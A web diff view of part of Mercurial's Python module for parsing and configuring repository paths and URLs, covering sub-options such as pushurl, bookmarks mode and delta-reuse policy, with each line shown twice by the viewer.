574 msg %= (path_count, action, source)
575 raise error.Abort(msg)
575 raise error.Abort(msg)
576 return pull_paths[0]
576 return pull_paths[0]
577
577
578
578
579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
580 """return a unique `(url, branch)` or abort if multiple are found
580 """return a unique `(url, branch)` or abort if multiple are found
581
581
582 See `get_unique_pull_path_obj` for details.
582 See `get_unique_pull_path_obj` for details.
583 """
583 """
584 path = get_unique_pull_path_obj(action, ui, source=source)
584 path = get_unique_pull_path_obj(action, ui, source=source)
585 return parseurl(path.rawloc, default_branches)
585 return parseurl(path.rawloc, default_branches)
586
586
587
587
588 def get_clone_path_obj(ui, source):
588 def get_clone_path_obj(ui, source):
589 """return the `(origsource, url, branch)` selected as clone source"""
589 """return the `(origsource, url, branch)` selected as clone source"""
590 if source == b'':
590 if source == b'':
591 return None
591 return None
592 return get_unique_pull_path_obj(b'clone', ui, source=source)
592 return get_unique_pull_path_obj(b'clone', ui, source=source)
593
593
594
594
595 def get_clone_path(ui, source, default_branches=None):
595 def get_clone_path(ui, source, default_branches=None):
596 """return the `(origsource, url, branch)` selected as clone source"""
596 """return the `(origsource, url, branch)` selected as clone source"""
597 path = get_clone_path_obj(ui, source)
597 path = get_clone_path_obj(ui, source)
598 if path is None:
598 if path is None:
599 return (b'', b'', (None, default_branches))
599 return (b'', b'', (None, default_branches))
600 if default_branches is None:
600 if default_branches is None:
601 default_branches = []
601 default_branches = []
602 branches = (path.branch, default_branches)
602 branches = (path.branch, default_branches)
603 return path.rawloc, path.loc, branches
603 return path.rawloc, path.loc, branches
604
604
605
605
606 def parseurl(path, branches=None):
606 def parseurl(path, branches=None):
607 '''parse url#branch, returning (url, (branch, branches))'''
607 '''parse url#branch, returning (url, (branch, branches))'''
608 u = url(path)
608 u = url(path)
609 branch = None
609 branch = None
610 if u.fragment:
610 if u.fragment:
611 branch = u.fragment
611 branch = u.fragment
612 u.fragment = None
612 u.fragment = None
613 return bytes(u), (branch, branches or [])
613 return bytes(u), (branch, branches or [])
614
614
615
615
616 class paths(dict):
616 class paths(dict):
617 """Represents a collection of paths and their configs.
617 """Represents a collection of paths and their configs.
618
618
619 Data is initially derived from ui instances and the config files they have
619 Data is initially derived from ui instances and the config files they have
620 loaded.
620 loaded.
621 """
621 """
622
622
623 def __init__(self, ui):
623 def __init__(self, ui):
624 dict.__init__(self)
624 dict.__init__(self)
625
625
626 home_path = os.path.expanduser(b'~')
626 home_path = os.path.expanduser(b'~')
627
627
628 for name, value in ui.configitems(b'paths', ignoresub=True):
628 for name, value in ui.configitems(b'paths', ignoresub=True):
629 # No location is the same as not existing.
629 # No location is the same as not existing.
630 if not value:
630 if not value:
631 continue
631 continue
632 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 _value, sub_opts = ui.configsuboptions(b'paths', name)
633 s = ui.configsource(b'paths', name)
633 s = ui.configsource(b'paths', name)
634 root_key = (name, value, s)
634 root_key = (name, value, s)
635 root = ui._path_to_root.get(root_key, home_path)
635 root = ui._path_to_root.get(root_key, home_path)
636
636
637 multi_url = sub_opts.get(b'multi-urls')
637 multi_url = sub_opts.get(b'multi-urls')
638 if multi_url is not None and stringutil.parsebool(multi_url):
638 if multi_url is not None and stringutil.parsebool(multi_url):
639 base_locs = stringutil.parselist(value)
639 base_locs = stringutil.parselist(value)
640 else:
640 else:
641 base_locs = [value]
641 base_locs = [value]
642
642
643 paths = []
643 paths = []
644 for loc in base_locs:
644 for loc in base_locs:
645 loc = os.path.expandvars(loc)
645 loc = os.path.expandvars(loc)
646 loc = os.path.expanduser(loc)
646 loc = os.path.expanduser(loc)
647 if not hasscheme(loc) and not os.path.isabs(loc):
647 if not hasscheme(loc) and not os.path.isabs(loc):
648 loc = os.path.normpath(os.path.join(root, loc))
648 loc = os.path.normpath(os.path.join(root, loc))
649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
650 paths.append(p)
650 paths.append(p)
651 self[name] = paths
651 self[name] = paths
652
652
653 for name, old_paths in sorted(self.items()):
653 for name, old_paths in sorted(self.items()):
654 new_paths = []
654 new_paths = []
655 for p in old_paths:
655 for p in old_paths:
656 new_paths.extend(_chain_path(p, ui, self))
656 new_paths.extend(_chain_path(p, ui, self))
657 self[name] = new_paths
657 self[name] = new_paths
658
658
659
659
660 _pathsuboptions = {}
660 _pathsuboptions = {}
661
661
662
662
663 def pathsuboption(option, attr):
663 def pathsuboption(option, attr):
664 """Decorator used to declare a path sub-option.
664 """Decorator used to declare a path sub-option.
665
665
666 Arguments are the sub-option name and the attribute it should set on
666 Arguments are the sub-option name and the attribute it should set on
667 ``path`` instances.
667 ``path`` instances.
668
668
669 The decorated function will receive as arguments a ``ui`` instance,
669 The decorated function will receive as arguments a ``ui`` instance,
670 ``path`` instance, and the string value of this option from the config.
670 ``path`` instance, and the string value of this option from the config.
671 The function should return the value that will be set on the ``path``
671 The function should return the value that will be set on the ``path``
672 instance.
672 instance.
673
673
674 This decorator can be used to perform additional verification of
674 This decorator can be used to perform additional verification of
675 sub-options and to change the type of sub-options.
675 sub-options and to change the type of sub-options.
676 """
676 """
677
677
678 def register(func):
678 def register(func):
679 _pathsuboptions[option] = (attr, func)
679 _pathsuboptions[option] = (attr, func)
680 return func
680 return func
681
681
682 return register
682 return register
683
683
684
684
685 @pathsuboption(b'pushurl', b'_pushloc')
685 @pathsuboption(b'pushurl', b'_pushloc')
686 def pushurlpathoption(ui, path, value):
686 def pushurlpathoption(ui, path, value):
687 u = url(value)
687 u = url(value)
688 # Actually require a URL.
688 # Actually require a URL.
689 if not u.scheme:
689 if not u.scheme:
690 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
690 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
691 msg %= (path.name, value)
691 msg %= (path.name, value)
692 ui.warn(msg)
692 ui.warn(msg)
693 return None
693 return None
694
694
695 # Don't support the #foo syntax in the push URL to declare branch to
695 # Don't support the #foo syntax in the push URL to declare branch to
696 # push.
696 # push.
697 if u.fragment:
697 if u.fragment:
698 ui.warn(
698 ui.warn(
699 _(
699 _(
700 b'("#fragment" in paths.%s:pushurl not supported; '
700 b'("#fragment" in paths.%s:pushurl not supported; '
701 b'ignoring)\n'
701 b'ignoring)\n'
702 )
702 )
703 % path.name
703 % path.name
704 )
704 )
705 u.fragment = None
705 u.fragment = None
706
706
707 return bytes(u)
707 return bytes(u)
708
708
709
709
710 @pathsuboption(b'pushrev', b'pushrev')
710 @pathsuboption(b'pushrev', b'pushrev')
711 def pushrevpathoption(ui, path, value):
711 def pushrevpathoption(ui, path, value):
712 return value
712 return value
713
713
714
714
715 SUPPORTED_BOOKMARKS_MODES = {
715 SUPPORTED_BOOKMARKS_MODES = {
716 b'default',
716 b'default',
717 b'mirror',
717 b'mirror',
718 b'ignore',
718 b'ignore',
719 }
719 }
720
720
721
721
722 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
722 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
723 def bookmarks_mode_option(ui, path, value):
723 def bookmarks_mode_option(ui, path, value):
724 if value not in SUPPORTED_BOOKMARKS_MODES:
724 if value not in SUPPORTED_BOOKMARKS_MODES:
725 path_name = path.name
725 path_name = path.name
726 if path_name is None:
726 if path_name is None:
727 # this is an "anonymous" path, config comes from the global one
727 # this is an "anonymous" path, config comes from the global one
728 path_name = b'*'
728 path_name = b'*'
729 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
729 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
730 msg %= (path_name, value)
730 msg %= (path_name, value)
731 ui.warn(msg)
731 ui.warn(msg)
732 if value == b'default':
732 if value == b'default':
733 value = None
733 value = None
734 return value
734 return value
735
735
736
736
737 DELTA_REUSE_POLICIES = {
737 DELTA_REUSE_POLICIES = {
738 b'default': None,
738 b'default': None,
739 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
739 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
740 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
740 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
741 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
741 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
742 }
742 }
743
743
744
744
745 @pathsuboption(b'pulled-delta-reuse-policy', b'delta_reuse_policy')
745 @pathsuboption(b'pulled-delta-reuse-policy', b'delta_reuse_policy')
746 def delta_reuse_policy(ui, path, value):
746 def delta_reuse_policy(ui, path, value):
747 if value not in DELTA_REUSE_POLICIES:
747 if value not in DELTA_REUSE_POLICIES:
748 path_name = path.name
748 path_name = path.name
749 if path_name is None:
749 if path_name is None:
750 # this is an "anonymous" path, config comes from the global one
750 # this is an "anonymous" path, config comes from the global one
751 path_name = b'*'
751 path_name = b'*'
752 msg = _(
752 msg = _(
753 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
753 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
754 )
754 )
755 msg %= (path_name, value)
755 msg %= (path_name, value)
756 ui.warn(msg)
756 ui.warn(msg)
757 return DELTA_REUSE_POLICIES.get(value)
757 return DELTA_REUSE_POLICIES.get(value)
758
758
759
759
760 @pathsuboption(b'multi-urls', b'multi_urls')
760 @pathsuboption(b'multi-urls', b'multi_urls')
761 def multiurls_pathoption(ui, path, value):
761 def multiurls_pathoption(ui, path, value):
762 res = stringutil.parsebool(value)
762 res = stringutil.parsebool(value)
763 if res is None:
763 if res is None:
764 ui.warn(
764 ui.warn(
765 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
765 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
766 )
766 )
767 res = False
767 res = False
768 return res
768 return res
769
769
770
770
771 def _chain_path(base_path, ui, paths):
771 def _chain_path(base_path, ui, paths):
772 """return the result of "path://" logic applied on a given path"""
772 """return the result of "path://" logic applied on a given path"""
773 new_paths = []
773 new_paths = []
774 if base_path.url.scheme != b'path':
774 if base_path.url.scheme != b'path':
775 new_paths.append(base_path)
775 new_paths.append(base_path)
776 else:
776 else:
777 assert base_path.url.path is None
777 assert base_path.url.path is None
778 sub_paths = paths.get(base_path.url.host)
778 sub_paths = paths.get(base_path.url.host)
779 if sub_paths is None:
779 if sub_paths is None:
780 m = _(b'cannot use `%s`, "%s" is not a known path')
780 m = _(b'cannot use `%s`, "%s" is not a known path')
781 m %= (base_path.rawloc, base_path.url.host)
781 m %= (base_path.rawloc, base_path.url.host)
782 raise error.Abort(m)
782 raise error.Abort(m)
783 for subpath in sub_paths:
783 for subpath in sub_paths:
784 path = base_path.copy()
784 path = base_path.copy()
785 if subpath.raw_url.scheme == b'path':
785 if subpath.raw_url.scheme == b'path':
786 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
786 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
787 m %= (path.rawloc, path.url.host)
787 m %= (path.rawloc, path.url.host)
788 raise error.Abort(m)
788 raise error.Abort(m)
789 path.url = subpath.url
789 path.url = subpath.url
790 path.rawloc = subpath.rawloc
790 path.rawloc = subpath.rawloc
791 path.loc = subpath.loc
791 path.loc = subpath.loc
792 if path.branch is None:
792 if path.branch is None:
793 path.branch = subpath.branch
793 path.branch = subpath.branch
794 else:
794 else:
795 base = path.rawloc.rsplit(b'#', 1)[0]
795 base = path.rawloc.rsplit(b'#', 1)[0]
796 path.rawloc = b'%s#%s' % (base, path.branch)
796 path.rawloc = b'%s#%s' % (base, path.branch)
797 suboptions = subpath._all_sub_opts.copy()
797 suboptions = subpath._all_sub_opts.copy()
798 suboptions.update(path._own_sub_opts)
798 suboptions.update(path._own_sub_opts)
799 path._apply_suboptions(ui, suboptions)
799 path._apply_suboptions(ui, suboptions)
800 new_paths.append(path)
800 new_paths.append(path)
801 return new_paths
801 return new_paths
802
802
803
803
804 class path:
804 class path:
805 """Represents an individual path and its configuration."""
805 """Represents an individual path and its configuration."""
806
806
807 def __init__(
807 def __init__(
808 self,
808 self,
809 ui=None,
809 ui=None,
810 name=None,
810 name=None,
811 rawloc=None,
811 rawloc=None,
812 suboptions=None,
812 suboptions=None,
813 validate_path=True,
813 validate_path=True,
814 ):
814 ):
815 """Construct a path from its config options.
815 """Construct a path from its config options.
816
816
817 ``ui`` is the ``ui`` instance the path is coming from.
817 ``ui`` is the ``ui`` instance the path is coming from.
818 ``name`` is the symbolic name of the path.
818 ``name`` is the symbolic name of the path.
819 ``rawloc`` is the raw location, as defined in the config.
819 ``rawloc`` is the raw location, as defined in the config.
820 ``_pushloc`` is the raw locations pushes should be made to.
820 ``_pushloc`` is the raw locations pushes should be made to.
821 (see the `get_push_variant` method)
821 (see the `get_push_variant` method)
822
822
823 If ``name`` is not defined, we require that the location be a) a local
823 If ``name`` is not defined, we require that the location be a) a local
824 filesystem path with a .hg directory or b) a URL. If not,
824 filesystem path with a .hg directory or b) a URL. If not,
825 ``ValueError`` is raised.
825 ``ValueError`` is raised.
826 """
826 """
827 if ui is None:
827 if ui is None:
828 # used in copy
828 # used in copy
829 assert name is None
829 assert name is None
830 assert rawloc is None
830 assert rawloc is None
831 assert suboptions is None
831 assert suboptions is None
832 return
832 return
833
833
834 if not rawloc:
834 if not rawloc:
835 raise ValueError(b'rawloc must be defined')
835 raise ValueError(b'rawloc must be defined')
836
836
837 self.name = name
837 self.name = name
838
838
839 # set by path variant to point to their "non-push" version
839 # set by path variant to point to their "non-push" version
840 self.main_path = None
840 self.main_path = None
841 self._setup_url(rawloc)
841 self._setup_url(rawloc)
842
842
843 if validate_path:
843 if validate_path:
844 self._validate_path()
844 self._validate_path()
845
845
846 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
846 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
847 self._own_sub_opts = {}
847 self._own_sub_opts = {}
848 if suboptions is not None:
848 if suboptions is not None:
849 self._own_sub_opts = suboptions.copy()
849 self._own_sub_opts = suboptions.copy()
850 sub_opts.update(suboptions)
850 sub_opts.update(suboptions)
851 self._all_sub_opts = sub_opts.copy()
851 self._all_sub_opts = sub_opts.copy()
852
852
853 self._apply_suboptions(ui, sub_opts)
853 self._apply_suboptions(ui, sub_opts)
854
854
855 def _setup_url(self, rawloc):
855 def _setup_url(self, rawloc):
856 # Locations may define branches via syntax <base>#<branch>.
856 # Locations may define branches via syntax <base>#<branch>.
857 u = url(rawloc)
857 u = url(rawloc)
858 branch = None
858 branch = None
859 if u.fragment:
859 if u.fragment:
860 branch = u.fragment
860 branch = u.fragment
861 u.fragment = None
861 u.fragment = None
862
862
863 self.url = u
863 self.url = u
864 # the url from the config/command line before dealing with `path://`
864 # the url from the config/command line before dealing with `path://`
865 self.raw_url = u.copy()
865 self.raw_url = u.copy()
866 self.branch = branch
866 self.branch = branch
867
867
868 self.rawloc = rawloc
868 self.rawloc = rawloc
869 self.loc = b'%s' % u
869 self.loc = b'%s' % u
870
870
871 def copy(self, new_raw_location=None):
871 def copy(self, new_raw_location=None):
872 """make a copy of this path object
872 """make a copy of this path object
873
873
874 When `new_raw_location` is set, the new path will point to it.
874 When `new_raw_location` is set, the new path will point to it.
875 This is used by the scheme extension so expand the scheme.
875 This is used by the scheme extension so expand the scheme.
876 """
876 """
877 new = self.__class__()
877 new = self.__class__()
878 for k, v in self.__dict__.items():
878 for k, v in self.__dict__.items():
879 new_copy = getattr(v, 'copy', None)
879 new_copy = getattr(v, 'copy', None)
880 if new_copy is not None:
880 if new_copy is not None:
881 v = new_copy()
881 v = new_copy()
882 new.__dict__[k] = v
882 new.__dict__[k] = v
883 if new_raw_location is not None:
883 if new_raw_location is not None:
884 new._setup_url(new_raw_location)
884 new._setup_url(new_raw_location)
885 return new
885 return new
886
886
887 @property
887 @property
888 def is_push_variant(self):
888 def is_push_variant(self):
889 """is this a path variant to be used for pushing"""
889 """is this a path variant to be used for pushing"""
890 return self.main_path is not None
890 return self.main_path is not None
891
891
892 def get_push_variant(self):
892 def get_push_variant(self):
893 """get a "copy" of the path, but suitable for pushing
893 """get a "copy" of the path, but suitable for pushing
894
894
895 This means using the value of the `pushurl` option (if any) as the url.
895 This means using the value of the `pushurl` option (if any) as the url.
896
896
897 The original path is available in the `main_path` attribute.
897 The original path is available in the `main_path` attribute.
898 """
898 """
899 if self.main_path:
899 if self.main_path:
900 return self
900 return self
901 new = self.copy()
901 new = self.copy()
902 new.main_path = self
902 new.main_path = self
903 if self._pushloc:
903 if self._pushloc:
904 new._setup_url(self._pushloc)
904 new._setup_url(self._pushloc)
905 return new
905 return new
906
906
907 def pushloc(self):
907 def pushloc(self):
908 """compatibility layer for the deprecated attributes"""
908 """compatibility layer for the deprecated attributes"""
909 from .. import util # avoid a cycle
909 from .. import util # avoid a cycle
910
910
911 msg = "don't use path.pushloc, use path.get_push_variant()"
911 msg = "don't use path.pushloc, use path.get_push_variant()"
912 util.nouideprecwarn(msg, b"6.5")
912 util.nouideprecwarn(msg, b"6.5")
913 return self._pushloc
913 return self._pushloc
914
914
915 def _validate_path(self):
915 def _validate_path(self):
916 # When given a raw location but not a symbolic name, validate the
916 # When given a raw location but not a symbolic name, validate the
917 # location is valid.
917 # location is valid.
918 if (
918 if (
919 not self.name
919 not self.name
920 and not self.url.scheme
920 and not self.url.scheme
921 and not self._isvalidlocalpath(self.loc)
921 and not self._isvalidlocalpath(self.loc)
922 ):
922 ):
923 raise ValueError(
923 raise ValueError(
924 b'location is not a URL or path to a local '
924 b'location is not a URL or path to a local '
925 b'repo: %s' % self.rawloc
925 b'repo: %s' % self.rawloc
926 )
926 )
927
927
928 def _apply_suboptions(self, ui, sub_options):
928 def _apply_suboptions(self, ui, sub_options):
929 # Now process the sub-options. If a sub-option is registered, its
929 # Now process the sub-options. If a sub-option is registered, its
930 # attribute will always be present. The value will be None if there
930 # attribute will always be present. The value will be None if there
931 # was no valid sub-option.
931 # was no valid sub-option.
932 for suboption, (attr, func) in _pathsuboptions.items():
932 for suboption, (attr, func) in _pathsuboptions.items():
933 if suboption not in sub_options:
933 if suboption not in sub_options:
934 setattr(self, attr, None)
934 setattr(self, attr, None)
935 continue
935 continue
936
936
937 value = func(ui, self, sub_options[suboption])
937 value = func(ui, self, sub_options[suboption])
938 setattr(self, attr, value)
938 setattr(self, attr, value)
939
939
940 def _isvalidlocalpath(self, path):
940 def _isvalidlocalpath(self, path):
941 """Returns True if the given path is a potentially valid repository.
941 """Returns True if the given path is a potentially valid repository.
942 This is its own function so that extensions can change the definition of
942 This is its own function so that extensions can change the definition of
943 'valid' in this case (like when pulling from a git repo into a hg
943 'valid' in this case (like when pulling from a git repo into a hg
944 one)."""
944 one)."""
945 try:
945 try:
946 return os.path.isdir(os.path.join(path, b'.hg'))
946 return os.path.isdir(os.path.join(path, b'.hg'))
947 # Python 2 may return TypeError. Python 3, ValueError.
947 # Python 2 may return TypeError. Python 3, ValueError.
948 except (TypeError, ValueError):
948 except (TypeError, ValueError):
949 return False
949 return False
950
950
951 @property
951 @property
952 def suboptions(self):
952 def suboptions(self):
953 """Return sub-options and their values for this path.
953 """Return sub-options and their values for this path.
954
954
955 This is intended to be used for presentation purposes.
955 This is intended to be used for presentation purposes.
956 """
956 """
957 d = {}
957 d = {}
958 for subopt, (attr, _func) in _pathsuboptions.items():
958 for subopt, (attr, _func) in _pathsuboptions.items():
959 value = getattr(self, attr)
959 value = getattr(self, attr)
960 if value is not None:
960 if value is not None:
961 d[subopt] = value
961 d[subopt] = value
962 return d
962 return d
General Comments 0
You need to be logged in to leave comments. Login now